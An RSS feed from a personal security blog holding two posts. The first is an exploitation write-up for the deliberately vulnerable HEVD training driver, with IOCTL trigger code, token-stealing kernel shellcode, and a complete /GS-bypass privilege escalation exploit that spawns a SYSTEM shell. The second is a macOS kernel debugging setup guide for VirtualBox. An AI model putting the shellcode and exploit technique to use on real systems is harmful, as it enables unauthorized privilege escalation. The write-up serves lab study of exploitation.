<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>klue-less thoughts</title>
    <link>https://klue.github.io/</link>
    <description>Recent content on klue-less thoughts</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 05 Sep 2017 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://klue.github.io/" rel="self" type="application/rss+xml" />
    
    <item>
      <title>HEVD Stack Overflow GS</title>
      <link>https://klue.github.io/blog/2017/09/hevd_stack_gs/</link>
      <pubDate>Tue, 05 Sep 2017 00:00:00 +0000</pubDate>
      
      <guid>https://klue.github.io/blog/2017/09/hevd_stack_gs/</guid>
      <description>&lt;p&gt;Lately, I&#39;ve decided to play around with &lt;a href=&#34;https://github.com/hacksysteam/HackSysExtremeVulnerableDriver&#34;&gt;HackSys Extreme Vulnerable Driver
(HEVD)&lt;/a&gt; for fun.
It&#39;s a great way to familiarize yourself with Windows exploitation. In this
blog post, I&#39;ll show how to exploit the stack overflow that is protected with
&lt;a href=&#34;https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check&#34;&gt;/GS stack
cookies&lt;/a&gt;
on Windows 7 SP1 32 bit. You can find the &lt;a href=&#34;https://github.com/klue/hevd&#34;&gt;source code
here&lt;/a&gt;. It has a few more exploits written and a
Win10 pre-anniversary version of the regular stack buffer overflow
vulnerability.&lt;/p&gt;

&lt;h2 id=&#34;triggering-the-vulnerable-function&#34;&gt;Triggering the Vulnerable Function&lt;/h2&gt;

&lt;p&gt;To start, we need to find the
&lt;a href=&#34;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363219(v=vs.85).aspx&#34;&gt;ioctl&lt;/a&gt;
dispatch routine in HEVD. Looking for the
&lt;a href=&#34;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-device-control&#34;&gt;&lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt;&lt;/a&gt;
&lt;a href=&#34;https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets&#34;&gt;IRP&lt;/a&gt;,
we see that the dispatch function can be found at &lt;code&gt;hevd+508e&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kd&amp;gt; !drvobj hevd 2
Driver object (852b77f0) is for:
 \Driver\HEVD
DriverEntry:   995cb129	HEVD
DriverStartIo: 00000000	
DriverUnload:  995ca016	HEVD
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      995c9ff2	HEVD+0x4ff2
[01] IRP_MJ_CREATE_NAMED_PIPE           995ca064	HEVD+0x5064
...
[0e] IRP_MJ_DEVICE_CONTROL              995ca08e	HEVD+0x508e
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     995ca064	HEVD+0x5064
[10] IRP_MJ_SHUTDOWN                    995ca064	HEVD+0x5064
[11] IRP_MJ_LOCK_CONTROL                995ca064	HEVD+0x5064
[12] IRP_MJ_CLEANUP                     995ca064	HEVD+0x5064
[13] IRP_MJ_CREATE_MAILSLOT             995ca064	HEVD+0x5064
[14] IRP_MJ_QUERY_SECURITY              995ca064	HEVD+0x5064
[15] IRP_MJ_SET_SECURITY                995ca064	HEVD+0x5064
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Finding the ioctl request number requires very light reverse engineering. We
want to end up eventually at &lt;code&gt;hevd+515a&lt;/code&gt;. At &lt;code&gt;hevd+50b4&lt;/code&gt;, the request number is
subtracted by &lt;code&gt;222003h&lt;/code&gt;. If it was &lt;code&gt;222003h&lt;/code&gt;, then jump to &lt;code&gt;hevd+5172&lt;/code&gt;, or else
fall through to &lt;code&gt;hevd+50bf&lt;/code&gt;. In this basic block, our ioctl request number is
subtracted by 4. If the result is 0, we are where we want to be. Therefore, our
ioctl number should be &lt;code&gt;222007h&lt;/code&gt;.
&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-finding_ioctl_num.png&#34; alt=&#34;Finding ioctl number&#34;&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;Eventually, a &lt;code&gt;memcpy&lt;/code&gt; is reached where the calling function does not check the
copy size.
&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-vulnerable_code.png&#34; alt=&#34;Vulnerable code&#34;&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;To give the overflow code a quick run, we call it with benign input using the
code below. You can find the implementation of &lt;code&gt;mmap&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; in the full
source code.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;def trigger_stackoverflow_gs(addr, size):
    dwReturn = c_ulong()
    driver_handle = kernel32.CreateFileW(DEVICE_NAME,
                                         GENERIC_READ | GENERIC_WRITE,
                                         0, None, OPEN_EXISTING, 0, None)
    if not driver_handle or driver_handle == -1:
        sys.exit()

    print &amp;quot;[+] IOCTL: 0x222007&amp;quot;
    dev_ioctl = kernel32.DeviceIoControl(driver_handle, 0x222007,
                                         addr, size,
                                         None, 0,
                                         byref(dwReturn), None)

m = mmap()
write(m, &#39;A&#39;*10)
trigger_stackoverflow_gs(m, 10)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In WinDbg, the debug output confirms that we are calling the right ioctl.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-sample_run.png&#34; width=&#34;60%&#34; height=&#34;60%&#34;/&gt;&lt;/p&gt;

&lt;p&gt;From the figure, we can see that the kernel buffer is 0x200 in size so if we
run a PoC again, but with 0x250 &lt;code&gt;A&lt;/code&gt;s, we should overflow the stack cookie and
blue screens our VM.&lt;/p&gt;

&lt;p&gt;&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-stack_cookie_overwrite_confirmation.png&#34; alt=&#34;Overwriting stack cookie&#34;&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;Indeed, the bugcheck tells us that the system crashed due to a stack buffer
overflow. Stack cookies in Windows are first XORed with &lt;code&gt;ebp&lt;/code&gt; before they&#39;re
stored on the stack. If we take the cookie in the bugcheck, and XOR it with
&lt;code&gt;41414141&lt;/code&gt;, the result should resemble a stack address. Specifically, it should
be the stack base pointer for &lt;code&gt;hevd+48da&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kd&amp;gt; ? e9d25b91 ^ 41414141
Evaluate expression: -1466754352 = a8931ad0
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;bypassing-stack-cookies&#34;&gt;Bypassing Stack Cookies&lt;/h2&gt;

&lt;p&gt;A common way to bypass stack cookies, introduced by &lt;a href=&#34;https://dl.packetstormsecurity.net/papers/bypass/defeating-w2k3-stack-protection.pdf&#34;&gt;David
Litchfield&lt;/a&gt;,
is to cause the program to throw an exception before the stack cookie is
checked at the end of the function. This works because when an exception
occurs, the stack cookie is not checked.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;There are two ways [generating an exception] might happen--one we can control
and the other is dependent of the code of the vulnerable function. In the
latter case, if we overflow other data, for example parameters that were
pushed onto the stack to the vulnerable function and these are referenced
before the cookie check is performed then we could cause an exception here by
setting this data to something that will cause an exception. If the code of
the vulnerable function has been written in such a way that no opportunity
exists to do this, then we have to attempt to generate our own exception. We
can do this by attempting to write beyond the end of the stack.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For us, it&#39;s easy because the vulnerable function uses &lt;code&gt;memcpy&lt;/code&gt;. We can simply
force &lt;code&gt;memcpy&lt;/code&gt; to segfault by letting it continue copying the source buffer all
the way to unmapped memory.&lt;/p&gt;

&lt;p&gt;I use my &lt;code&gt;mmap&lt;/code&gt; function to map two adjacent pages, then &lt;code&gt;munmap&lt;/code&gt; to unmap the
second page. &lt;code&gt;mmap&lt;/code&gt; and &lt;code&gt;munmap&lt;/code&gt; are just simple wrappers I wrote for
&lt;a href=&#34;https://msdn.microsoft.com/en-us/library/windows/hardware/ff566416(v=vs.85).aspx&#34;&gt;&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt;&lt;/a&gt;
and
&lt;a href=&#34;https://msdn.microsoft.com/en-us/library/windows/hardware/ff566460(v=vs.85).aspx&#34;&gt;&lt;code&gt;NtFreeVirtualMemory&lt;/code&gt;&lt;/a&gt;
respectively. The idea is to place the source buffer at the end of the mapped
page that was mapped, and have the vulnerable &lt;code&gt;memcpy&lt;/code&gt; read off into the
unmapped page to cause an exception.&lt;/p&gt;

&lt;p&gt;To test this, we&#39;ll use the PoC code below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;m = mmap(size=0x2000)
munmap(m+0x1000)

trigger_stackoverflow_gs(m+0x1000-0x250, 0x251)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Back in the debugger, we can observe that an exception was thrown and &lt;code&gt;eip&lt;/code&gt; was
overwritten as a result of the exception handler being overwritten.
&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-exception_handler_overwrite_confirmation.png&#34; alt=&#34;Exception handler crash&#34;&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;The next step is to find the offset of the &lt;code&gt;A&lt;/code&gt;s so we can control &lt;code&gt;eip&lt;/code&gt; to
point to shellcode. You can use a binary search type way to find the offset,
but an easier method is to use a &lt;a href=&#34;https://en.wikipedia.org/wiki/De_Bruijn_sequence&#34;&gt;De Bruijn
sequence&lt;/a&gt; as the payload. I
usually use Metasploit&#39;s
&lt;a href=&#34;https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_create.rb&#34;&gt;&lt;code&gt;pattern_create.rb&lt;/code&gt;&lt;/a&gt;
and
&lt;a href=&#34;https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_offset.rb&#34;&gt;&lt;code&gt;pattern_offset.rb&lt;/code&gt;&lt;/a&gt;
for finding the exact offset in my buffer.&lt;/p&gt;

&lt;p&gt;&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-pattern_create_crash.png&#34; alt=&#34;Exception handler crash patter_create.rb&#34;&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;The figure above shows us &lt;code&gt;41367241&lt;/code&gt; overwrites the exception handler address
and so also &lt;code&gt;eip&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kd&amp;gt; .formats 41367241
Evaluate expression:
  Hex:     41367241
  Decimal: 1094087233
  Octal:   10115471101
  Binary:  01000001 00110110 01110010 01000001
  Chars:   A6rA
  Time:    Wed Sep  1 18:07:13 2004
  Float:   low 11.4029 high 0
  Double:  5.40551e-315
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Reversing the order due to endianness, we get &lt;code&gt;Ar6A&lt;/code&gt; which &lt;code&gt;pattern_offset.rb&lt;/code&gt;
tells us is offset 528 (0x210). Therefore, our source buffer will be of size
0x210+4, where the 4 is due to the address of our shellcode.&lt;/p&gt;

&lt;h2 id=&#34;constructing-shellcode&#34;&gt;Constructing Shellcode&lt;/h2&gt;

&lt;p&gt;Since there is 0x1000-0x210-4 unused space in our allocated page, we can just
put our shellcode in the beginning of the page. I use common Windows token
stealing shellcode that basically iterates through the &lt;code&gt;_EPROCESS&lt;/code&gt;s, looks for
the SYSTEM process, and copies the SYSTEM process&#39; token. Additionally, for
convenience in breaking at the shellcode, I prepend the shellcode with a
breakpoint (&lt;code&gt;\xcc&lt;/code&gt;).&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;\xcc\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\x8b\x80\xb8\x00
\x00\x00\x2d\xb8\x00\x00\x00\x83\xb8\xb4\x00\x00\x00\x04\x75\xec\x8b\x90\xf8
\x00\x00\x00\x89\x91\xf8\x00\x00\x00
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Our shellcode still isn&#39;t complete yet; the shellcode doesn&#39;t know where to
return to after it executes. To search for a return address, let&#39;s inspect the
call stack in the debugger when the shellcode executes.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kd&amp;gt; k
 # ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 a88cf114 82ab3622 0x1540000
01 a88cf138 82ab35f4 nt!ExecuteHandler2+0x26
02 a88cf15c 82ae73b5 nt!ExecuteHandler+0x24
03 a88cf1f0 82af005c nt!RtlDispatchException+0xb6
04 a88cf77c 82a79dd6 nt!KiDispatchException+0x17c
05 a88cf7e4 82a79d8a nt!CommonDispatchException+0x4a
06 a88cf868 995c9969 nt!KiExceptionExit+0x192
07 a88cf86c a88cf8b4 HEVD+0x4969
08 a88cf870 01540dec 0xa88cf8b4
09 a88cf8b4 41414141 0x1540dec
0a a88cf8b8 41414141 0x41414141
0b a88cf8bc 41414141 0x41414141
...
51 a88cfad0 995c99ca 0x41414141
52 a88cfae0 995ca16d HEVD+0x49ca
53 a88cfafc 82a72593 HEVD+0x516d
54 a88cfb14 82c6699f nt!IofCallDriver+0x63
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;hevd+4969&lt;/code&gt; is the instruction address after the &lt;code&gt;memcpy&lt;/code&gt;, but we can&#39;t return
here because the portion of stack the remaining code uses  is corrupted. Fixing
the stack to the correct values would be extremely annoying. Instead, returning
to &lt;code&gt;hevd+49ca&lt;/code&gt; which is the return address of the stack frame right below
&lt;code&gt;hevd+4969&lt;/code&gt; makes more sense.&lt;/p&gt;

&lt;p&gt;However, if you adjust the stack and return to &lt;code&gt;hevd+49ca&lt;/code&gt;, you&#39;ll still get a
crash. The problem is at &lt;code&gt;hevd+5260&lt;/code&gt; where &lt;code&gt;edi+0x1c&lt;/code&gt; is dereferenced. &lt;code&gt;edi&lt;/code&gt; at
this point is 0 because registers are XORed with themselves before the
exception handler assumes control and neither the program nor our shellcode
touched &lt;code&gt;edi&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;center&gt;
&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-__SEH_epilog4.png&#34; width=&#34;40%&#34; height=&#34;40%&#34;/&gt;
&lt;/center&gt;&lt;/p&gt;

&lt;p&gt;In a normal execution, &lt;code&gt;edi&lt;/code&gt; and other registers are restored in
&lt;code&gt;__SEH_epilog4&lt;/code&gt;. These values are of course restored from the stack. Taking
&lt;code&gt;a88cf86c&lt;/code&gt; from the stack trace before, we can dump and attempt to find the
restore values. They&#39;re actually are quite easy to find here because
&lt;code&gt;hevd+5dcc&lt;/code&gt; is quite easy to spot. &lt;code&gt;hevd+5dcc&lt;/code&gt; is the address of the debug
print string which is restored into &lt;code&gt;ebx&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kd&amp;gt; dds a88cf86c
a88cf86c  995c9969 HEVD+0x4969
a88cf870  a88cf8b4
a88cf874  01540dec
a88cf878  00000218
a88cf87c  995ca760 HEVD+0x5760
a88cf880  995ca31a HEVD+0x531a
a88cf884  00000200
a88cf888  995ca338 HEVD+0x5338
a88cf88c  a88cf8b4
a88cf890  995ca3a2 HEVD+0x53a2
a88cf894  00000218
a88cf898  995ca3be HEVD+0x53be
a88cf89c  01540dec
a88cf8a0  31d15d0b
a88cf8a4  8c843f68 &amp;lt;-- edi
a88cf8a8  8c843fd8 &amp;lt;-- esi
a88cf8ac  995cadcc HEVD+0x5dcc &amp;lt;-- ebx
a88cf8b0  455f5359
a88cf8b4  41414141
a88cf8b8  41414141
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;To obtain the offset of &lt;code&gt;edi&lt;/code&gt;, just subtract &lt;code&gt;esp&lt;/code&gt; from the current address of
the restore value.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kd&amp;gt; ? a88cf8a4 - esp
Evaluate expression: 1932 = 0000078c
kd&amp;gt; dds a88cfad0 la
a88cfad0  a88cfae0
a88cfad4  995c99ca HEVD+0x49ca
a88cfad8  01540dec
a88cfadc  00000218
a88cfae0  a88cfafc
a88cfae4  995ca16d HEVD+0x516d
a88cfae8  8c843f68
a88cfaec  8c843fd8
a88cfaf0  86c3c398
a88cfaf4  8586f5f0
kd&amp;gt; ? a88cfad0 - esp
Evaluate expression: 2488 = 000009b8
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Similarly, finding the offset to return to is found by obtaining the difference
of &lt;code&gt;a88cfad0&lt;/code&gt; and &lt;code&gt;esp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Lastly, our shellcode should &lt;code&gt;pop ebp; ret 8;&lt;/code&gt; which results in&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;start:
  xor eax, eax;
  mov eax,dword ptr fs:[eax+0x124]; # nt!_KPCR.PcrbData.CurrentThread
  mov eax,dword ptr [eax+0x50];     # nt!_KTHREAD.ApcState.Process
  mov ecx,eax;                      # Store unprivileged _EPROCESS in ecx
loop:
  mov eax,dword ptr [eax+0xb8];     # Next nt!_EPROCESS.ActiveProcessLinks.Flink
  sub eax, 0xb8;                    # Back to the beginning of _EPROCESS
  cmp dword ptr [eax+0xb4],0x04;    # SYSTEM process? nt!_EPROCESS.UniqueProcessId
  jne loop;
stealtoken:
  mov edx,dword ptr [eax+0xf8];     # Get SYSTEM nt!_EPROCESS.Token
  mov dword ptr [ecx+0xf8],edx;     # Copy token
restore:
  mov edi, [esp+0x78c];             # edi irq
  mov esi, [esp+0x790];             # esi
  mov ebx, [esp+0x794];             # move print string into ebx
  add esp, 0x9b8;
  pop ebp;
  ret 0x8;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;gaining-nt-authoritysystem&#34;&gt;Gaining NT Authority\SYSTEM&lt;/h2&gt;

&lt;p&gt;Putting everything together, the final exploit looks like this.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;m = mmap(size=0x2000)
munmap(m+0x1000)
size = 0x210+4

sc = &#39;\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x83\xb8\xb4\x00\x00\x00\x04\x75\xec\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x8b\xbc\x24\x8c\x07\x00\x00\x8b\xb4\x24\x90\x07\x00\x00\x8b\x9c\x24\x94\x07\x00\x00\x81\xc4\xb8\x09\x00\x00\x5d\xc2\x08\x00&#39;
write(m, sc + &#39;A&#39;*(0x1000-4-len(sc)) + struct.pack(&amp;quot;&amp;lt;I&amp;quot;, m))
trigger_stackoverflow_gs(m+0x1000-size, size+1)

print &#39;\n[+] Privilege Escalated\n&#39;
os.system(&#39;cmd.exe&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And that should give us:
&lt;figure&gt;&lt;img src=&#34;https://klue.github.io/images/hevd_stack_gs-priv_esc.png&#34; alt=&#34;nt authority\system&#34;&gt;&lt;/figure&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Debugging macOS Kernel using VirtualBox</title>
      <link>https://klue.github.io/blog/2017/04/macos_kernel_debugging_vbox/</link>
      <pubDate>Mon, 10 Apr 2017 00:00:00 +0000</pubDate>
      
      <guid>https://klue.github.io/blog/2017/04/macos_kernel_debugging_vbox/</guid>
      <description>&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; In the &lt;a href=&#34;https://news.ycombinator.com/item?id=14079163&#34;&gt;HN discussion&lt;/a&gt;, awalton mentioned you can set CPUID flags in VMWare. Simply adding &lt;code&gt;cpuid.7.ebx = &amp;quot;-----------0--------------------&amp;quot;&lt;/code&gt; to the vmx file will disable SMAP.&lt;/p&gt;

&lt;p&gt;Late last year, I upgraded my old MBP to the 2016 model with a Skylake
processor. As I was debugging a kernel exploit, it turned out that
&lt;a href=&#34;https://lwn.net/Articles/517475/&#34;&gt;SMAP&lt;/a&gt; was enabled inside my VMWare Fusion
VM. I wanted to avoid dealing with SMAP, but couldn&#39;t figure out how to disable
it in Fusion. Luckily, VirtualBox VMs do not support SMAP (yet?).&lt;/p&gt;

&lt;p&gt;This post will be a step-by-step guide on how to setup macOS kernel
source-level debugging using VirtualBox. Though all the step examples are
geared toward VirtualBox, this guide can also be used to setup kernel debugging
on VMWare Fusion since it&#39;s even more straightforward in Fusion.&lt;/p&gt;

&lt;h2 id=&#34;installing-virtualbox-and-sierra&#34;&gt;Installing VirtualBox and Sierra&lt;/h2&gt;

&lt;p&gt;If you don&#39;t already have a macOS VirtualBox VM, we must first install the
target macOS on a VM. You can either provide the vmdk from a VMWare Fusion VM,
or create a fresh VM. VirtualBox requires an ISO image to install the OS for
newly created VMs. The commands below can be used to create an ISO from the
Sierra install app obtained from the &lt;a href=&#34;https://itunes.apple.com/us/app/macos-sierra/id1127487414?ls=1&amp;amp;mt=12&#34;&gt;Mac app
store&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ hdiutil attach /Applications/Install\ macOS\ Sierra.app/Contents/SharedSupport/InstallESD.dmg -noverify -nobrowse -mountpoint /Volumes/installesd
$ hdiutil create -o /tmp/Sierra -size 8g -type SPARSE -layout SPUD -fs HFS+J
$ hdiutil attach /tmp/Sierra.sparseimage -noverify -nobrowse -mountpoint /Volumes/install
$ asr restore -source /Volumes/installesd/BaseSystem.dmg -target /Volumes/install -noprompt -noverify -erase
$ rm /Volumes/OS\ X\ Base\ System/System/Installation/Packages
$ cp -rp /Volumes/installesd/Packages /Volumes/OS\ X\ Base\ System/System/Installation/
$ cp -rp /Volumes/installesd/BaseSystem.dmg /Volumes/OS\ X\ Base\ System/BaseSystem.dmg
$ cp -rp /Volumes/installesd/BaseSystem.chunklist /Volumes/OS\ X\ Base\ System/BaseSystem.chunklist
$ hdiutil detach /Volumes/installesd
$ hdiutil detach /Volumes/OS\ X\ Base\ System/
$ hdiutil resize -sectors min /tmp/Sierra.sparseimage
$ hdiutil convert /tmp/Sierra.sparseimage -format UDTO -o /tmp/Sierra
$ rm /tmp/Sierra.sparseimage
$ mv /tmp/Sierra.cdr /tmp/Sierra.iso
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;networking&#34;&gt;Networking&lt;/h4&gt;

&lt;p&gt;If you are using a bridged adapter, there isn&#39;t anything special you need to
do.&lt;/p&gt;

&lt;p&gt;If you decide to go with NAT, you&#39;ll need to enable port forwarding for KDP to
work with the VM. In the adapter settings, choose
&lt;em&gt;Advanced&lt;/em&gt;&lt;span  class=&#34;math&#34;&gt;\(\rightarrow\)&lt;/span&gt;&lt;em&gt;Port Forwarding&lt;/em&gt;. We need to reach 41139/UDP on the
debugee VM, so I forward localhost 41139/UDP to the VM&#39;s 41139/UDP.&lt;/p&gt;

&lt;h2 id=&#34;installing-xcode&#34;&gt;Installing XCode&lt;/h2&gt;

&lt;p&gt;Install XCode on your host machine. The easiest way is to install it from the
&lt;a href=&#34;https://itunes.apple.com/us/app/xcode/id497799835?ls=1&amp;amp;mt=12&#34;&gt;Mac app store&lt;/a&gt;.
After installing, accepting the XCode license is required either by opening
XCode and accepting, or through command line.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ sudo xcodebuild -license accept
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;install-kernel-debug-kit-kdk-on&#34;&gt;Install Kernel Debug Kit (KDK) on&lt;/h2&gt;

&lt;p&gt;On our host debugger machine, we need to install the &lt;a href=&#34;https://developer.apple.com/download/more/&#34;&gt;KDK from the Apple
Developer site&lt;/a&gt; corresponding to
our debugee macOS version and build. In this guide, I used 10.12 build 16A323.&lt;/p&gt;

&lt;p&gt;The KDK installs to &lt;code&gt;/Library/Developer/KDKs&lt;/code&gt; and provides RELEASE,
DEVELOPMENT, and DEBUG kernels for macOS, as well as symbols for these kernels
and various Apple kexts. The difference between the different kernels is that
the DEVELOPMENT and DEBUG kernels have additional assertions and error checking
compared to RELEASE with the DEBUG build having even more than DEVELOPMENT.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; The debugee system does not need to have the KDK installed.&lt;/p&gt;

&lt;h2 id=&#34;update-nvram-bootargs&#34;&gt;Update nvram boot-args&lt;/h2&gt;

&lt;p&gt;In order to debug the VM, we must set the &lt;code&gt;debug&lt;/code&gt; option of &lt;code&gt;boot-args&lt;/code&gt; in
nvram on our debugee VM. There are numerous options in addition to &lt;code&gt;debug&lt;/code&gt; that
we can use. Below are a few that could be of interest including &lt;code&gt;debug&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;: Always boot the system in verbose mode.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kcsuffix&lt;/code&gt;: Specifies which kernel to boot using a given suffix.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pmuflags&lt;/code&gt;: Many people still seem to recommend setting this option to 1. However, &lt;a href=&#34;https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/build/build.html&#34;&gt;Apple&#39;s Kernel Programming Guide&lt;/a&gt; says the power management watchdog timer &amp;quot;is only present in G4 and earlier desktops and laptops and in early G5 desktops&amp;quot;, and the other primary watchdog timer is &amp;quot;normally only enabled in OS X Server.&amp;quot; Thus, this option doesn&#39;t seem to do anything, though setting it doesn&#39;t hurt.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-zc zlog1=&amp;lt;zone_name&amp;gt;&lt;/code&gt;: &lt;code&gt;zc&lt;/code&gt; in conjunction with &lt;code&gt;zlog#&lt;/code&gt; logs both allocations and frees to the specified zone where # is 1-5.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;debug&lt;/code&gt;: This option allows us to perform remote kernel debugging. Available flags are listed in the &lt;a href=&#34;https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/build/build.html#//apple_ref/doc/uid/TP30000905-CH221-BABDGEGF&#34;&gt;Apple docs&lt;/a&gt;. I usually use &lt;code&gt;DB_LOG_PI_SCRN | DB_ARP | DB_NMI&lt;/code&gt;.

&lt;ul&gt;
&lt;li&gt;Non-maskable interrupts (NMI) can be triggered by pressing &lt;em&gt;control + option + command + shift + escape&lt;/em&gt;. Triggering an NMI will break in the debugger which is super convenient. This key combo does not play well with VirtualBox when it covers the host key combo so I rebound the host key to &lt;em&gt;right command + right option&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;modifying-nvram&#34;&gt;Modifying nvram&lt;/h3&gt;

&lt;p&gt;In VMWare Fusion, you modify nvram using the &lt;code&gt;nvram&lt;/code&gt; command like so:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ sudo nvram boot-args=&amp;quot;-v debug=0x144&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On VirtualBox, you&#39;ll find it&#39;s not so easy. After a reboot, the nvram
modifications will have disappeared. &lt;a href=&#34;https://www.virtualbox.org/manual/ch03.html#idm1685&#34;&gt;VirtualBox User Manual
&amp;sect;3.13.2&lt;/a&gt; sheds some
light:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;It is currently not possible to manipulate EFI variables from within a
running guest (e.g., setting the &amp;quot;boot-args&amp;quot; variable by running the nvram
tool in a Mac OS X guest will not work). As an alternative way,
&amp;quot;VBoxInternal2/EfiBootArgs&amp;quot; extradata can be passed to a VM in order to set
the &amp;quot;boot-args&amp;quot; variable. To change the &amp;quot;boot-args&amp;quot; EFI variable:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Thus, we need to shutdown our VM and run the commands below on our host.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ VBoxManage list vms # take the UUID to use in the next command
&amp;quot;macOS 10.12.0&amp;quot; {9ad936f8-9360-44a6-ba3e-c4d92b4243e8}
$ VBoxManage setextradata 9ad936f8-9360-44a6-ba3e-c4d92b4243e8 VBoxInternal2/EfiBootArgs &amp;quot;-v debug=0x144&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;swapping-kernels&#34;&gt;Swapping Kernels&lt;/h2&gt;

&lt;p&gt;I alluded to debugging different builds of kernels previously, mentioning that
the &lt;code&gt;kcsuffix&lt;/code&gt; option specifies which kernel build to use. The kernel file must
be at &lt;code&gt;/System/Library/Kernels&lt;/code&gt; on the debugee VM. It should not be a surprise
that this directory is &lt;a href=&#34;https://support.apple.com/en-us/HT204899&#34;&gt;protected by System Integrity Protection
(SIP)&lt;/a&gt;. Therefore, if you want to use
a KDK kernel or &lt;a href=&#34;http://shantonu.blogspot.ca&#34;&gt;a self-compiled kernel&lt;/a&gt;, you must
first boot into recovery, copy the target kernel to the above directory,
invalidate the kext cache, and then reboot.&lt;/p&gt;

&lt;h4 id=&#34;reliably-booting-into-recovery&#34;&gt;Reliably Booting into Recovery&lt;/h4&gt;

&lt;p&gt;In Fusion, booting into recovery mode using &lt;em&gt;cmd+R&lt;/em&gt; is as easy as doing so on a
physical machine. VirtualBox, on the other hand, requires a &lt;a href=&#34;http://anadoxin.org/blog/disabling-system-integrity-protection-from-guest-el-capitan-under-virtualbox-5.html&#34;&gt;few more
steps&lt;/a&gt;.&lt;/p&gt;

